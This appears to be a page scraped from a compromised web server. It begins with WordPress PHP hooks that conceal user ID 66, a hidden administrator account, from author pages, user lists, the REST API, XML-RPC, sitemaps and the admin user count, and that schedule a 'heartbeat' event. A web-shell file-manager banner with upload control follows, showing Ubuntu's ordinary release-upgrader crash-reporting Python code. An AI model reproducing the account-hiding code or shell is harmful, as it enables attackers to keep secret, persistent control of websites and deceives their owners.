add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/814/root/proc/thread-self/root/lib/python3/dist-packages/DistUpgrade/ |
Upload File : |
import os
import logging
import subprocess
import sys
import gettext
import errno
APPORT_ALLOWLIST = {
"apt.log": "Aptlog",
"apt-term.log": "Apttermlog",
"apt-clone_system_state.tar.gz": "Aptclonesystemstate.tar.gz",
"history.log": "Historylog",
"lspci.txt": "Lspcitxt",
"main.log": "Mainlog",
"term.log": "Termlog",
"screenlog.0": "Screenlog",
"xorg_fixup.log": "Xorgfixup",
}
def _apport_append_logfiles(report, logdir="/var/log/dist-upgrade/"):
dirname = 'VarLogDistupgrade'
for fname in APPORT_ALLOWLIST:
f = os.path.join(logdir, fname)
if not os.path.isfile(f) or os.path.getsize(f) == 0:
continue
ident = dirname + APPORT_ALLOWLIST[fname]
if os.access(f, os.R_OK):
report[ident] = (f, )
elif os.path.exists(f):
try:
from apport.hookutils import root_command_output
report[ident] = root_command_output(
["cat", '%s' % f], decode_utf8=False)
except ImportError:
logging.error("failed to import apport python module, "
"can't include: %s" % ident)
def apport_crash(type, value, tb):
logging.debug("running apport_crash()")
if "RELEASE_UPRADER_NO_APPORT" in os.environ:
logging.debug("RELEASE_UPRADER_NO_APPORT env set")
return False
try:
# we don't depend on python3-apport because of servers
from apport_python_hook import apport_excepthook
from apport.report import Report
except ImportError as e:
logging.error("failed to import apport python module, can't "
"generate crash: %s" % e)
return False
from .DistUpgradeVersion import VERSION
# we pretend we are do-release-upgrade
sys.argv[0] = "/usr/bin/do-release-upgrade"
apport_excepthook(type, value, tb)
# now add the files in /var/log/dist-upgrade/*
if os.path.exists('/var/crash/_usr_bin_do-release-upgrade.0.crash'):
report = Report()
report.setdefault('Tags', 'dist-upgrade')
release = 'Ubuntu %s' % VERSION[0:5]
report.setdefault('DistroRelease', release)
# use the version of the release-upgrader tarball, not the installed
# package
report.setdefault('Package', 'ubuntu-release-upgrader-core 1:%s' %
VERSION)
_apport_append_logfiles(report)
report.add_to_existing(
'/var/crash/_usr_bin_do-release-upgrade.0.crash')
return True
def apport_pkgfailure(pkg, errormsg):
logging.debug("running apport_pkgfailure() %s: %s", pkg, errormsg)
if "RELEASE_UPRADER_NO_APPORT" in os.environ:
logging.debug("RELEASE_UPRADER_NO_APPORT env set")
return False
LOGDIR = "/var/log/dist-upgrade/"
s = "/usr/share/apport/package_hook"
# we do not report followup errors from earlier failures
# dpkg messages will not be translated if DPKG_UNTRANSLATED_MESSAGES is
# set which it is by default so check for the English message first
if "dependency problems - leaving unconfigured" in errormsg:
logging.debug("dpkg error because of dependency problems, not "
"reporting against %s " % pkg)
return False
needle = gettext.dgettext(
'dpkg', "dependency problems - leaving unconfigured")
if needle in errormsg:
logging.debug("dpkg error because of dependency problems, not "
"reporting against %s " % pkg)
return False
# we do not run apport_pkgfailure for full disk errors
if os.strerror(errno.ENOSPC) in errormsg:
logging.debug("dpkg error because of full disk, not reporting "
"against %s " % pkg)
return False
if os.path.exists(s):
args = [s, "-p", pkg]
args.extend(["--tags", "dist-upgrade"])
for fname in APPORT_ALLOWLIST:
args.extend(["-l", os.path.join(LOGDIR, fname)])
try:
p = subprocess.Popen(args, stdin=subprocess.PIPE,
universal_newlines=True)
p.stdin.write(errormsg)
p.stdin.close()
#p.wait()
except Exception as e:
logging.warning("Failed to run apport (%s)" % e)
return False
return True
return False
def run_apport():
" run apport, check if we have a display "
if "RELEASE_UPRADER_NO_APPORT" in os.environ:
logging.debug("RELEASE_UPRADER_NO_APPORT env set")
return False
if "DISPLAY" in os.environ:
# update-notifier will notify about the crash
return True
elif os.path.exists("/usr/bin/apport-cli"):
try:
return (subprocess.call("/usr/bin/apport-cli") == 0)
except Exception:
logging.exception("Unable to launch '/usr/bin/apport-cli'")
return False
logging.debug("can't find apport")
return False
if __name__ == "__main__":
apport_crash(None, None, None)